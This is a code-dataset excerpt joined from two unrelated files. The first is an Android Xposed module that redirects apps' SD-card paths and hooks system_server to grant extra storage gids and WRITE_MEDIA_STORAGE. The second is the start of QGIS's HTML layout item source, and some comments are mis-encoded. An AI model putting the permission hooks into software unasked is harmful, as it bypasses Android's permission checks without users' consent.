this.xsett=new XSettingHandler();
xsett.exdirs.addAll(mSettingModel.ExcludeDir);//·ÅÈëSD·¾¶
//redirect to path
this.xsett.hookPath = null;//ÖØ¶¨Ïò·¾¶
//all sd path
//Set<String> allsdpath = sethdl.getSDPath();
this.xsett.allsdpath.addAll(sethdl.getSDPath());//ËùÓÐSD·¾¶
if(value == AppValue.GLOBAL_SETTING)
{
//use global setting
this.xsett.hookPath = sethdl.getGlobalPath()+"/"+packageName;
//make missing dirs
for(String presd: xsett.allsdpath)
{
File hookPath = new File(fixPath(presd+"/"+this.xsett.hookPath));
if(!hookPath.exists())
{
try
{
hookPath.mkdirs();
File nomedia = new File(hookPath,".nomedia");
if(!nomedia.exists()) nomedia.createNewFile();
} catch(Exception e) {XposedLog("[SDLink] unable to create folder for "+packageName);}
}
}
}
else if(value == AppValue.SELECT_PATH)
{
//³ÌÐò¶ÀÁ¢ÉèÖÃ
this.xsett.hookPath = mSettingModel.customPath;
//make missing dir
File hookPath = new File(fixPath(this.xsett.hookPath));
if(!hookPath.exists())
{
try
{
hookPath.mkdirs();
File nomedia = new File(hookPath,".nomedia");
if(nomedia.exists())nomedia.createNewFile();
} catch(Exception e) {XposedLog("[SDLink] unable to create folder for "+packageName);}
}
}
//Ìí¼ÓAndroidÎļþ¼ÐÅųý
xsett.exdirs.add("Android/data/"+packageName);
xsett.exdirs.add("Android/obb/"+packageName);
//do hook
this.doHook(packageName,hooktype,lpparam.classLoader,xsett);
};
//XposedHelpers.findAndHookConstructor("java.io.File", lpparam.classLoader, String.class, filehook);
}
}
private void doHook(final String pkgname,int hooktype, ClassLoader cl, XSettingHandler xsett)
{
if(hooktype == hookType.MODE_ENHANCED)
{
this.doEnhancedHook(pkgname,cl,xsett.allsdpath, xsett.hookPath, xsett.exdirs);
}
else if(hooktype == hookType.MODE_COMPATIBILITY)
{
this.doCompatibilityHook(pkgname,cl, xsett.allsdpath, xsett.hookPath, xsett.exdirs);
}
}
private void fixSDPermission(String packageName, String processName, ClassLoader cl)
{
if(packageName.equals("android") && processName.equals("android"))
{
XC_MethodHook fixsdperm = new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param)
throws Throwable {
DebugLog("do fixsdperm");
String permission = (String) param.args[1];
if (permission.equals("android.permission.WRITE_EXTERNAL_STORAGE")
|| permission.equals("android.permission.ACCESS_ALL_EXTERNAL_STORAGE") )
{
Class<?> process = XposedHelpers.findClass("android.os.Process", null);
int gidsdrw = (Integer) XposedHelpers.callStaticMethod(process, "getGidForName", "sdcard_rw");
int gidmediarw = (Integer) XposedHelpers.callStaticMethod(process, "getGidForName", "media_rw");
Object permissions = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP)
{
permissions = XposedHelpers.getObjectField(param.thisObject, "mPermissions");
}
else if (Build.VERSION.SDK_INT == Build.VERSION_CODES.KITKAT)
{
Object settings = XposedHelpers.getObjectField(
param.thisObject, "mSettings");
permissions = XposedHelpers.getObjectField(settings,
"mPermissions");
}
Object bp = XposedHelpers.callMethod(permissions, "get", permission);
int[] bpGids = (int[]) XposedHelpers.getObjectField(bp, "gids");
int[] newbpGids = appendInt(appendInt(bpGids, gidsdrw),gidmediarw);
if(isDebugger())
{
StringBuilder sb = new StringBuilder();
sb.append("old gid = ");
for(int a:bpGids)
{
sb.append(a).append(",");
}
sb.append("\nnew gid = ");
for(int a:newbpGids)
{
sb.append(a).append(",");
}
DebugLog(sb.toString());
}
XposedHelpers.setObjectField(bp, "gids", newbpGids);
}
}
};
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
XposedHelpers.findAndHookMethod(
XposedHelpers.findClass("com.android.server.SystemConfig", cl), "readPermission",
XmlPullParser.class, String.class,
fixsdperm);
} else if (Build.VERSION.SDK_INT == Build.VERSION_CODES.KITKAT) {
XposedHelpers.findAndHookMethod(
XposedHelpers.findClass("com.android.server.pm.PackageManagerService", cl), "readPermission",
XmlPullParser.class, String.class,
fixsdperm);
}
}
}
@TargetApi(Build.VERSION_CODES.KITKAT)
public void fixSDPermission6(String packageName, String processName, final ClassLoader cl)
{
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)
{
//work but need improve
/*XC_MethodHook fixperm = new XC_MethodHook()
{
@Override
public void beforeHookedMethod(MethodHookParam para)
{
DebugLog("do fixsdperm6 at "+para.thisObject.toString());
@SuppressWarnings("unchecked")
android.util.ArrayMap<String, Object> mPermissions = (ArrayMap<String, Object>) XposedHelpers.getObjectField(para.thisObject, "mPermissions");
Object bpWriteMedia = mPermissions.get(SystemValue.strWriteMedia);
//Object bpWriteStorage = mPermissions.get("android.permission.WRITE_EXTERNAL_STORAGE");
Object permState = para.args[1];
if ((Integer)XposedHelpers.callMethod(permState, "grantInstallPermission", bpWriteMedia) ==
SystemValue.PERMISSION_OPERATION_FAILURE) {
DebugLog("failed, did it already have permission?");
//Slog.w(PackageManagerService.TAG, "Permission already added: " + name);
} else {
DebugLog("success, update");
XposedHelpers.callMethod(permState, "updatePermissionFlags", bpWriteMedia, SystemValue.USER_ALL,
SystemValue.MASK_PERMISSION_FLAGS, 0);
}
}
};
XposedHelpers.findAndHookMethod("com.android.server.pm.Settings", cl, "readInstallPermissionsLPr",
XmlPullParser.class, XposedHelpers.findClass("com.android.server.pm.PermissionsState",cl),
fixperm);*/
XC_MethodHook fixperm = new XC_MethodHook()
{
@SuppressWarnings("unchecked")
@Override
public void beforeHookedMethod(MethodHookParam para)
{
DebugLog("do fixsdperm6 at "+para.thisObject.toString());
Object pkg = para.args[0];
Object mSettings = XposedHelpers.getObjectField(para.thisObject, "mSettings");
android.util.ArrayMap<String, Object> mPermissions = (ArrayMap<String, Object>)XposedHelpers.getObjectField(mSettings, "mPermissions");
Object bpWriteMedia = mPermissions.get(SystemValue.strWriteMedia);
Object settingbase = XposedHelpers.getObjectField(pkg, "mExtras");
Object permState = XposedHelpers.callMethod(settingbase, "getPermissionsState", new Object[]{});
if(!(boolean)XposedHelpers.callMethod(permState, "hasInstallPermission", SystemValue.strWriteMedia))
{
DebugLog("no WriteMedia, fix"+para.thisObject.toString());
XposedHelpers.callMethod(permState, "grantInstallPermission", bpWriteMedia);
}
}
};
XposedHelpers.findAndHookMethod("com.android.server.pm.PackageManagerService", cl, "grantPermissionsLPw",
XposedHelpers.findClass("android.content.pm.PackageParser.Package", cl), boolean.class, String.class,
fixperm);
/*XC_MethodHook fixperm = new XC_MethodHook()
{
@Override
public void afterHookedMethod(MethodHookParam para)
{
DebugLog("do fixsdperm6 at "+para.thisObject.toString());
String pkgname = (String) para.args[0];
String permname = (String) para.args[1];
int userId = (int)para.args[2];
if(!(permname.equals(SystemValue.strWriteExt) || permname.equals(SystemValue.strWriteAll) ) )
{
return;
}
Object mSettings = XposedHelpers.getObjectField(para.thisObject, "mSettings");
@SuppressWarnings("unchecked")
android.util.ArrayMap<String, Object> mPermissions = (ArrayMap<String, Object>) XposedHelpers.getObjectField(mSettings, "mPermissions");
Object bpWriteMedia = mPermissions.get(SystemValue.strWriteMedia);
if(bpWriteMedia == null)
{
DebugLog("Error: bpWriteMedia is null");
return;
}
@SuppressWarnings("unchecked")
ArrayMap<String, Object> mPackage = (ArrayMap<String, Object>) XposedHelpers.getObjectField(para.thisObject, "mPackages");
synchronized(mPackage)
{
final Object pkg = mPackage.get(pkgname);
if(pkg == null)
{
DebugLog("no package "+pkgname);
return;
}
Object settingbase = XposedHelpers.getObjectField(pkg, "mExtras");
if(settingbase == null)
{
DebugLog("no package "+pkgname);
return;
}
Object permState = XposedHelpers.callMethod(settingbase, "getPermissionsState", new Object[]{});
if ((Integer)XposedHelpers.callMethod(permState, "grantInstallPermission", bpWriteMedia) ==
SystemValue.PERMISSION_OPERATION_FAILURE) {
DebugLog("failed, did it already have permission?");
//Slog.w(PackageManagerService.TAG, "Permission already added: " + name);
} else {
DebugLog("success, update");
XposedHelpers.callMethod(permState, "updatePermissionFlags", bpWriteMedia, SystemValue.USER_ALL,
SystemValue.MASK_PERMISSION_FLAGS, 0);
}
}
//Object bpWriteStorage = mPermissions.get("android.permission.WRITE_EXTERNAL_STORAGE");
}
};
XposedHelpers.findAndHookMethod("com.android.server.pm.PackageManagerService", cl, "grantRuntimePermission",
String.class,String.class,int.class,
fixperm);
*/
//dead
/*
XC_MethodHook hookPackageManagerService = new XC_MethodHook()
{
@Override
public void afterHookedMethod(MethodHookParam para)
{
Object mSettings = XposedHelpers.getObjectField(para.thisObject, "mSettings");
Object mPermissions = XposedHelpers.getObjectField(mSettings, "mPermissions");
XposedHelpers.setStaticObjectField(para.thisObject.getClass(), "mPermissionsStatic", mPermissions);
}
};
XposedHelpers.findAndHookConstructor("com.android.server.pm.PackageManagerService", cl,
Context.class, XposedHelpers.findClass("com.android.server.pm.Installer", cl), boolean.class, boolean.class,
hookPackageManagerService);
XC_MethodHook hookpermstate = new XC_MethodHook()
{
@Override
public void afterHookedMethod(MethodHookParam para)
{
@SuppressWarnings("unchecked")
android.util.ArrayMap<String, Object> mPermissions = (ArrayMap<String, Object>) XposedHelpers.getStaticObjectField(XposedHelpers.findClass("com.android.server.pm.PackageManagerService", cl), "mPermissionsStatic");
//@SuppressWarnings("unchecked")
//android.util.ArrayMap<String, Object> mPermissions = (ArrayMap<String, Object>) XposedHelpers.getObjectField(para.thisObject, "mPermissions");
Object bpWriteMedia = mPermissions.get(SystemValue.strWriteMedia);
//Object bpWriteExt = mPermissions.get(strWriteExt);
//Object bpWriteAll = mPermissions.get(strWriteAll);
DebugLog("do fixsdperm6 at "+para.thisObject.toString());
Object argbp = para.args[0];
String argpermname = (String) XposedHelpers.getObjectField(argbp, "name");
int userId = (int) para.args[1];
if(argpermname.equals(SystemValue.strWriteExt) || argpermname.equals(SystemValue.strWriteAll))
{
DebugLog("at WriteExt or WriteAll, do fix");
//Method methodGrantPermission = XposedHelpers.findMethodBestMatch(para.thisObject.getClass(), "grantPermission", classbp, int.class);
//int result = (int)XposedHelpers.callMethod(para.thisObject, "grantInstallPermission", bpWriteMedia);
//int result = (int)methodGrantPermission.invoke(para.thisObject, bpWriteMedia, userId);
int result = (int)XposedHelpers.callMethod(para.thisObject, "grantInstallPermission", bpWriteMedia);
if(result == SystemValue.PERMISSION_OPERATION_FAILURE)
{
DebugLog("failed, did it already have permission?");
}
else
{
DebugLog("success, update");
XposedHelpers.callMethod(para.thisObject, "updatePermissionFlags",
bpWriteMedia, userId, SystemValue.MASK_PERMISSION_FLAGS, 0);
}
}
}
};
XposedHelpers.findAndHookMethod("com.android.server.pm.PermissionsState", cl, "grantPermission",
XposedHelpers.findClass("com.android.server.pm.BasePermission", cl), int.class,
hookpermstate);*/
/*
XC_MethodHook fixperm = new XC_MethodHook(){
@Override
public void beforeHookedMethod(MethodHookParam para)
{
DebugLog("do fixsdperm6 at "+para.thisObject.toString());
String[] perms = (String[])para.args[2];
int flag = 0;
for(String perm: perms)
{
if(perm.equals(SystemValue.strWriteExt) || perm.equals(SystemValue.strWriteAll) && flag != 2)
flag = 1;
if(perm.equals(SystemValue.strWriteMedia)) flag = 2;
}
if(flag == 1)
{
DebugLog("at WriteExt or WriteAll, do fix");
String[] newperms = new String[perms.length+1];
for(int i=0;i<perms.length;i++)
{
newperms[i] = perms[i];
}
newperms[newperms.length-1] = SystemValue.strWriteMedia;
para.args[2] = newperms;
DebugLog("now permissions="+newperms.toString());
return;
}
}
};
XposedHelpers.findAndHookMethod("com.android.server.pm.PackageManagerService", cl,
"grantRequestedRuntimePermissions",
XposedHelpers.findClass("android.content.pm.PackageParser.Package", cl), int.class, String[].class,
fixperm);*/
}
}
public static int[] appendInt(int[] cur, int val) {
if (cur == null) {
return new int[] { val };
}
final int N = cur.length;
for (int i = 0; i < N; i++) {
if (cur[i] == val) {
return cur;
}
}
int[] ret = new int[N + 1];
System.arraycopy(cur, 0, ret, 0, N);
ret[N] = val;
return ret;
}
@Override
public void initZygote(StartupParam startupParam) throws Throwable
{
//
}
private void doEnhancedHook(final String pkgname, ClassLoader cl, final Set<String> allsdpath, final String topath, final Set<String> exdirs)
{
if(topath == null) return;//if hookpath is null return
//hook File
XC_MethodHook fileHook = new XC_MethodHook(){
@Override
protected void beforeHookedMethod(MethodHookParam param)
{
DebugLog("in EnhancedHook");
String ufoldpath = (String) param.args[0];
String newpath = ReplacePath(ufoldpath,allsdpath,exdirs,topath);
if(newpath != null) param.args[0] = newpath;
}
};
//hook File
XposedHelpers.findAndHookConstructor("java.io.File", cl, String.class, fileHook);
XposedHelpers.findAndHookConstructor("java.io.File", cl, String.class, String.class, fileHook);
/*if(!rPath.startsWith("/"))//hookpath not a absolute path
{
XposedHelpers.findAndHookConstructor("android.os.storage.StorageVolume", cl, File.class, int.class, boolean.class, boolean.class,
boolean.class, int.class, boolean.class, long.class, UserHandle.class,
new XC_MethodHook(){
@Override
protected void afterHookedMethod(MethodHookParam param)
{
if(DEBUG == true) XposedBridge.log("in android.os.storage.StorageVolume.Constructor, dischange");
File f = (File) XposedHelpers.getObjectField(param.thisObject, "mPath");
XposedHelpers.setObjectField(param.thisObject, "mPath", cutHookedPath(f,rPath));
}
});
}*/
//================================================
/*
XC_MethodHook storagevolumehook = new XC_MethodHook(){
@Override
protected void afterHookedMethod(MethodHookParam param)
{
DebugLog("StorageVolume: mPath.getPath()=");
File of = (File) XposedHelpers.getObjectField(param.thisObject, "mPath");
String ofs = of.getPath();
DebugLog("StorageVolume: mPath.getPath()="+ofs);
for(String sd : allsdpath)
{
if(ofs.contains(sd))
{
File nf = new File(unChangePrefix+sd);
DebugLog("StorageVolume: set mPath="+sd);
}
}
}
};
XposedHelpers.findAndHookConstructor("android.os.storage.StorageVolume", cl, Parcel.class, storagevolumehook);
XposedHelpers.findAndHookConstructor("android.os.storage.StorageVolume", cl, File.class, int.class, boolean.class, boolean.class, boolean.class, int.class, boolean.class, long.class, UserHandle.class, storagevolumehook);
*/
//============================================
this.fixStorageState(cl);
this.doCompatibilityHook(pkgname, cl, allsdpath, topath, exdirs);
}
private void doCompatibilityHook(final String pkgname, ClassLoader cl, final Set<String> allsdpath, final String topath, final Set<String> exdirs)
{
if(topath == null) return;
XC_MethodHook hookFileReturn = new XC_MethodHook(){
@Override
protected void afterHookedMethod(MethodHookParam param)
{
DebugLog("in CompatibilityHook");
File f = (File)param.getResult();
if(f == null) return;
String newpath = ReplacePath(f.getAbsolutePath(),allsdpath,exdirs,topath);
if(newpath != null) param.setResult(new File(newpath));
}
};
XposedHelpers.findAndHookMethod(Environment.class, "getExternalStorageDirectory", hookFileReturn);
XposedHelpers.findAndHookMethod(XposedHelpers.findClass("android.app.ContextImpl", cl),
"getExternalFilesDir", String.class, hookFileReturn);
XposedHelpers.findAndHookMethod(XposedHelpers.findClass("android.app.ContextImpl", cl),
"getObbDir", hookFileReturn);
XposedHelpers.findAndHookMethod(Environment.class,
"getExternalStoragePublicDirectory", String.class, hookFileReturn);
}
//19
private void fixStorageState(ClassLoader cl)
{
//hook Android Environment.getStorageState
XC_MethodReplacement fixstorage = new XC_MethodReplacement(){
@Override
protected Object replaceHookedMethod(MethodHookParam param)
{
DebugLog("in android.os.Environment.getStorageState");
File oldf = (File) param.args[0];
DebugLog("File=" + oldf != null ? oldf.getAbsolutePath() : "null");
if(oldf == null || oldf.getAbsolutePath().equals(""))
{
DebugLogAlways("getExternalStorageState("+oldf.getAbsolutePath()+")=null,MEDIA_MOUNTED");
return Environment.MEDIA_MOUNTED;
}
//if(oldf.getAbsolutePath().contains(rPath))
//{
//File f = cutHookedPath((File) param.args[0], rPath);
//param.args[0] = cutHookedPath(f,rPath);
//old
if(!oldf.exists())
{
try
{
oldf.mkdirs();
if(!oldf.exists())
{
DebugLogAlways("getExternalStorageState("+oldf.getAbsolutePath()+")=CreateFailed,MEDIA_REMOVED");
return Environment.MEDIA_REMOVED;
}
}
catch(Exception e)
{
XposedBridge.log(e);
DebugLogAlways("getExternalStorageState("+oldf.getAbsolutePath()+")=Exception,MEDIA_REMOVED");
return Environment.MEDIA_REMOVED;
}
}
if(oldf.canRead())
{
if(oldf.canWrite())
{
DebugLogAlways("getExternalStorageState("+oldf.getAbsolutePath()+")=RW,MEDIA_MOUNTED");
return Environment.MEDIA_MOUNTED;
}
else
{
DebugLogAlways("getExternalStorageState("+oldf.getAbsolutePath()+")=RO,MEDIA_MOUNTED_READ_ONLY");
return Environment.MEDIA_MOUNTED_READ_ONLY;
}
}
DebugLogAlways("getExternalStorageState("+oldf.getAbsolutePath()+")=NotExist,MEDIA_REMOVED");
return Environment.MEDIA_REMOVED;
/*if(oldf.exists())
{
if(oldf.canRead())
{
if(oldf.canWrite())
{
param.setResult(Environment.MEDIA_MOUNTED);
return;
}
else
{
param.setResult(Environment.MEDIA_MOUNTED_READ_ONLY);
return;
}
}
}
param.setResult(Environment.MEDIA_UNMOUNTABLE);
return;*/
//}
}
};
XposedHelpers.findAndHookMethod("android.os.Environment", cl, "getStorageState", File.class, fixstorage);
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP)//5.0 and above
{
XposedHelpers.findAndHookMethod("android.os.Environment", cl, "getExternalStorageState", File.class, fixstorage);
}
}
//21
/*private void fixStorageState(ClassLoader cl)
{
}*/
@SuppressWarnings("unused")
private static File cutHookedPath(File f, String hookedPath)
{
String path = f.getAbsolutePath();
if(path.contains(hookedPath))//path is hooked
{
String newpath = unChangePrefix + fixPath(path.replace(hookedPath, ""));
File nf = new File( newpath );//return old sd path and add unchange prefix
DebugLog("dischange path "+newpath);
return nf;
}
return f;
}
private static String fixPath(String path)
{
String newPath = path;
newPath = newPath.replaceAll("//", "/");
//while (newPath.endsWith("/")) newPath = newPath.substring(0,newPath.length()-1);
//XposedBridge.log("fixPath: old path="+path+" new path="+newPath);
return newPath;
}
private static String getNewPath(String oldPath, String sdPath, String hookPath)
{
DebugLog("old path="+oldPath+",sdpath="+sdPath+",hookPath="+hookPath);
String hookedPath;
if(hookPath.startsWith("/"))//absolute path
{
//if path include redirect path then return
if(oldPath.toLowerCase(Locale.US).startsWith(hookPath.toLowerCase(Locale.US))) return null;
//if path is android default sd path then return
//if(oldPath.startsWith(fixPath(sdPath+"/Android/data/"+pkgname))) return null;
//cut subdir that app want to write to sdcard
String subdir = oldPath.substring(sdPath.length(), oldPath.length());
//if(subdir.startsWith("/")) subdir = subdir.substring(1,subdir.length());
hookedPath = fixPath(hookPath + "/" + subdir);
}
else//else
{
//if path include redirect path then return
if(oldPath.toLowerCase(Locale.US).startsWith(fixPath(sdPath+"/"+hookPath).toLowerCase(Locale.US))) return null;
//if path is android default sd path then return
//if(oldPath.startsWith(fixPath(sdPath+"/Android/data/"+pkgname))) return null;
//cut subdir that app want to write to sdcard
String subdir = oldPath.substring(fixPath(sdPath).length(),oldPath.length());
//if(subdir.startsWith("/")) subdir = subdir.substring(1,subdir.length());
hookedPath = fixPath(sdPath + "/" + hookPath + "/" + subdir);
}
DebugLog("new path="+hookedPath);
return hookedPath;
}
private static String ReplacePath(String oldpath, Set<String> allsdpath, Set<String> exdirs, String topath)
//null = stock path
{
if(oldpath == null) return null;
if(oldpath.startsWith(unChangePrefix))//find unchange prefix
{
String newpath = oldpath.substring(unChangePrefix.length(), oldpath.length());
//param.args[0] = newpath;//dischange and return
DebugLog("find unchange prefix, use stock path "+newpath);
return newpath;
}
String fixoldpath = fixPath(oldpath);
String thissd = null;
for(String sdpath:allsdpath)
{
if(fixoldpath.startsWith(sdpath))//find sd path
{
thissd = sdpath;
break;
}
}
if(thissd == null) return null;//not in sd return
//exdir
if(exdirs != null && exdirs.size() != 0)
{
for(String ufexdir: exdirs)
{
if(ufexdir.equals("")) continue;//this exdir is empty, continue
String exdir = fixPath(ufexdir);
if(exdir.startsWith("/"))//absolute path
{
if(oldpath.startsWith(exdir))
{
DebugLog("in exclude dir "+exdir+" , return");
return null;
}
}
else//else
{
//if in exclude path return
String prefix1 = thissd+"/"+exdir;
if(fixoldpath.startsWith(prefix1+"/") || fixoldpath.equalsIgnoreCase(prefix1)) return null;
//if in redirect path then force change to old path
String prefix2 = thissd+"/"+topath+"/"+exdir;
if(fixoldpath.startsWith(prefix2+"/") || fixoldpath.equalsIgnoreCase(prefix2))
{
String suffix = "";
if(fixoldpath.length() > prefix2.length())
{
suffix = fixoldpath.substring(prefix2.length(), fixoldpath.length());
}
String newpath = thissd+"/"+exdir+suffix;
//param.args[0] = newpath;
DebugLog("in exclude dir "+exdir+" , set dir to "+newpath);
return newpath;
}
}
}
}
//exdir end
String newpath = getNewPath(fixoldpath,thissd,topath);
return newpath;
}
@SuppressWarnings("unused")
private static final class SystemValue
{
/** The permission operation failed. */
public static final int PERMISSION_OPERATION_FAILURE = -1;
/** The permission operation succeeded and no gids changed. */
public static final int PERMISSION_OPERATION_SUCCESS = 0;
/** The permission operation succeeded and gids changed. */
public static final int PERMISSION_OPERATION_SUCCESS_GIDS_CHANGED = 1;
public static final int MASK_PERMISSION_FLAGS = 0xFF;
public static final int USER_OWNER = 0;
public static final int USER_ALL = -1;
public static final int USER_CURRENT = -2;
public static final String strWriteMedia = "android.permission.WRITE_MEDIA_STORAGE";
public static final String strWriteExt = "android.permission.WRITE_EXTERNAL_STORAGE";
public static final String strWriteAll = "android.permission.ACCESS_ALL_EXTERNAL_STORAGE";
}
private static void DebugLog(String log)
{
//if(isDebugger()) XposedBridge.log(log);
if(isDebugger()) Log.v("Xposed.SDLink", log);
}
private static void DebugLogAlways(String log)
{
Log.v("Xposed.SDLink", log);
}
private static void XposedLog(String log)
{
XposedBridge.log(log);
}
private static boolean isDebugger()//debug on/off
{
return debug;
}
private class XSettingHandler
{
public Set<String> allsdpath=new HashSet<String>();
public Set<String> exdirs=new HashSet<String>();
public String hookPath;
}
}
| gpl-2.0 |
t-hey/QGIS-Original | src/core/layout/qgslayoutitemhtml.cpp | 18023 | /***************************************************************************
qgslayoutitemhtml.cpp
------------------------------------------------------------
begin : October 2017
copyright : (C) 2017 by Nyall Dawson
email : nyall dot dawson at gmail dot com
***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************/
#include "qgslayoutitemhtml.h"
#include "qgslayoutframe.h"
#include "qgslayout.h"
#include "qgsnetworkaccessmanager.h"
#include "qgsmessagelog.h"
#include "qgsexpression.h"
#include "qgslogger.h"
#include "qgsnetworkcontentfetcher.h"
#include "qgsvectorlayer.h"
#include "qgsproject.h"
#include "qgsdistancearea.h"
#include "qgsjsonutils.h"
#include "qgsmapsettings.h"
#include "qgswebpage.h"
#include "qgswebframe.h"
#include <QCoreApplication>
#include <QPainter>
#include <QImage>
#include <QNetworkReply>
QgsLayoutItemHtml::QgsLayoutItemHtml( QgsLayout *layout )
: QgsLayoutMultiFrame( layout )
{
mHtmlUnitsToLayoutUnits = htmlUnitsToLayoutUnits();
mWebPage = qgis::make_unique< QgsWebPage >();
mWebPage->setIdentifier( tr( "Layout HTML item" ) );
mWebPage->mainFrame()->setScrollBarPolicy( Qt::Horizontal, Qt::ScrollBarAlwaysOff );
mWebPage->mainFrame()->setScrollBarPolicy( Qt::Vertical, Qt::ScrollBarAlwaysOff );
//This makes the background transparent. Found on http://blog.qt.digia.com/blog/2009/06/30/transparent-qwebview-or-qwebpage/
QPalette palette = mWebPage->palette();
palette.setBrush( QPalette::Base, Qt::transparent );
mWebPage->setPalette( palette );
mWebPage->setNetworkAccessManager( QgsNetworkAccessManager::instance() );
#if 0 //TODO
if ( mLayout )
{
connect( mLayout, &QgsComposition::itemRemoved, this, &QgsComposerMultiFrame::handleFrameRemoval );
}
if ( mComposition && mComposition->atlasMode() == QgsComposition::PreviewAtlas )
{
//a html item added while atlas preview is enabled needs to have the expression context set,
//otherwise fields in the html aren't correctly evaluated until atlas preview feature changes (#9457)
setExpressionContext( mComposition->atlasComposition().feature(), mComposition->atlasComposition().coverageLayer() );
}
//connect to atlas feature changes
//to update the expression context
connect( &mComposition->atlasComposition(), &QgsAtlasComposition::featureChanged, this, &QgsLayoutItemHtml::refreshExpressionContext );
#endif
mFetcher = new QgsNetworkContentFetcher();
}
QgsLayoutItemHtml::~QgsLayoutItemHtml()
{
mFetcher->deleteLater();
}
int QgsLayoutItemHtml::type() const
{
return QgsLayoutItemRegistry::LayoutHtml;
}
QString QgsLayoutItemHtml::stringType() const
{
return QStringLiteral( "LayoutHtml" );
}
QgsLayoutItemHtml *QgsLayoutItemHtml::create( QgsLayout *layout )
{
return new QgsLayoutItemHtml( layout );
}
void QgsLayoutItemHtml::setUrl( const QUrl &url )
{
if ( !mWebPage )
{
return;
}
mUrl = url;
loadHtml( true );
emit changed();
}
void QgsLayoutItemHtml::setHtml( const QString &html )
{
mHtml = html;
//TODO - this signal should be emitted, but without changing the signal which sets the html
//to an equivalent of editingFinished it causes a lot of problems. Need to investigate
//ways of doing this using QScintilla widgets.
//emit changed();
}
void QgsLayoutItemHtml::setEvaluateExpressions( bool evaluateExpressions )
{
mEvaluateExpressions = evaluateExpressions;
loadHtml( true );
emit changed();
}
void QgsLayoutItemHtml::loadHtml( const bool useCache, const QgsExpressionContext *context )
{
if ( !mWebPage )
{
return;
}
QgsExpressionContext scopedContext = createExpressionContext();
const QgsExpressionContext *evalContext = context ? context : &scopedContext;
QString loadedHtml;
switch ( mContentMode )
{
case QgsLayoutItemHtml::Url:
{
QString currentUrl = mUrl.toString();
//data defined url set?
bool ok = false;
currentUrl = mDataDefinedProperties.valueAsString( QgsLayoutObject::SourceUrl, *evalContext, currentUrl, &ok );
if ( ok )
{
currentUrl = currentUrl.trimmed();
QgsDebugMsg( QString( "exprVal Source Url:%1" ).arg( currentUrl ) );
}
if ( currentUrl.isEmpty() )
{
return;
}
if ( !( useCache && currentUrl == mLastFetchedUrl ) )
{
loadedHtml = fetchHtml( QUrl( currentUrl ) );
mLastFetchedUrl = currentUrl;
}
else
{
loadedHtml = mFetchedHtml;
}
break;
}
case QgsLayoutItemHtml::ManualHtml:
loadedHtml = mHtml;
break;
}
//evaluate expressions
if ( mEvaluateExpressions )
{
loadedHtml = QgsExpression::replaceExpressionText( loadedHtml, evalContext, &mDistanceArea );
}
bool loaded = false;
QEventLoop loop;
connect( mWebPage.get(), &QWebPage::loadFinished, &loop, [&loaded, &loop ] { loaded = true; loop.quit(); } );
connect( mFetcher, &QgsNetworkContentFetcher::finished, &loop, [&loaded, &loop ] { loaded = true; loop.quit(); } );
//reset page size. otherwise viewport size increases but never decreases again
mWebPage->setViewportSize( QSize( maxFrameWidth() * mHtmlUnitsToLayoutUnits, 0 ) );
//set html, using the specified url as base if in Url mode or the project file if in manual mode
const QUrl baseUrl = mContentMode == QgsLayoutItemHtml::Url ?
QUrl( mActualFetchedUrl ) :
QUrl::fromLocalFile( mLayout->project()->fileInfo().absoluteFilePath() );
mWebPage->mainFrame()->setHtml( loadedHtml, baseUrl );
//set user stylesheet
QWebSettings *settings = mWebPage->settings();
if ( mEnableUserStylesheet && ! mUserStylesheet.isEmpty() )
{
QByteArray ba;
ba.append( mUserStylesheet.toUtf8() );
QUrl cssFileURL = QUrl( "data:text/css;charset=utf-8;base64," + ba.toBase64() );
settings->setUserStyleSheetUrl( cssFileURL );
}
else
{
settings->setUserStyleSheetUrl( QUrl() );
}
if ( !loaded )
loop.exec( QEventLoop::ExcludeUserInputEvents );
//inject JSON feature
if ( !mAtlasFeatureJSON.isEmpty() )
{
mWebPage->mainFrame()->evaluateJavaScript( QStringLiteral( "if ( typeof setFeature === \"function\" ) { setFeature(%1); }" ).arg( mAtlasFeatureJSON ) );
//needs an extra process events here to give JavaScript a chance to execute
qApp->processEvents();
}
recalculateFrameSizes();
//trigger a repaint
emit contentsChanged();
}
double QgsLayoutItemHtml::maxFrameWidth() const
{
double maxWidth = 0;
for ( QgsLayoutFrame *frame : mFrameItems )
{
maxWidth = std::max( maxWidth, static_cast< double >( frame->boundingRect().width() ) );
}
return maxWidth;
}
void QgsLayoutItemHtml::recalculateFrameSizes()
{
if ( frameCount() < 1 ) return;
QSize contentsSize = mWebPage->mainFrame()->contentsSize();
//find maximum frame width
double maxWidth = maxFrameWidth();
//set content width to match maximum frame width
contentsSize.setWidth( maxWidth * mHtmlUnitsToLayoutUnits );
mWebPage->setViewportSize( contentsSize );
mSize.setWidth( contentsSize.width() / mHtmlUnitsToLayoutUnits );
mSize.setHeight( contentsSize.height() / mHtmlUnitsToLayoutUnits );
if ( contentsSize.isValid() )
{
renderCachedImage();
}
QgsLayoutMultiFrame::recalculateFrameSizes();
emit changed();
}
void QgsLayoutItemHtml::renderCachedImage()
{
//render page to cache image
mRenderedPage = QImage( mWebPage->viewportSize(), QImage::Format_ARGB32 );
if ( mRenderedPage.isNull() )
{
return;
}
mRenderedPage.fill( Qt::transparent );
QPainter painter;
painter.begin( &mRenderedPage );
mWebPage->mainFrame()->render( &painter );
painter.end();
}
QString QgsLayoutItemHtml::fetchHtml( const QUrl &url )
{
//pause until HTML fetch
bool loaded = false;
QEventLoop loop;
connect( mFetcher, &QgsNetworkContentFetcher::finished, &loop, [&loaded, &loop ] { loaded = true; loop.quit(); } );
mFetcher->fetchContent( url );
if ( !loaded )
loop.exec( QEventLoop::ExcludeUserInputEvents );
mFetchedHtml = mFetcher->contentAsString();
mActualFetchedUrl = mFetcher->reply()->url().toString();
return mFetchedHtml;
}
QSizeF QgsLayoutItemHtml::totalSize() const
{
return mSize;
}
void QgsLayoutItemHtml::render( QgsRenderContext &context, const QRectF &renderExtent, const int,
const QStyleOptionGraphicsItem * )
{
if ( !mWebPage )
return;
QPainter *painter = context.painter();
painter->save();
